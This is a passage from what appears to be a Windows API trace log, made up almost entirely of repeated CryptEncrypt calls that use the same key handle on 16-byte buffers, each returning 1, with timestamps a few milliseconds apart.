Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.410] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.411] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.412] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.413] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0090.414] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 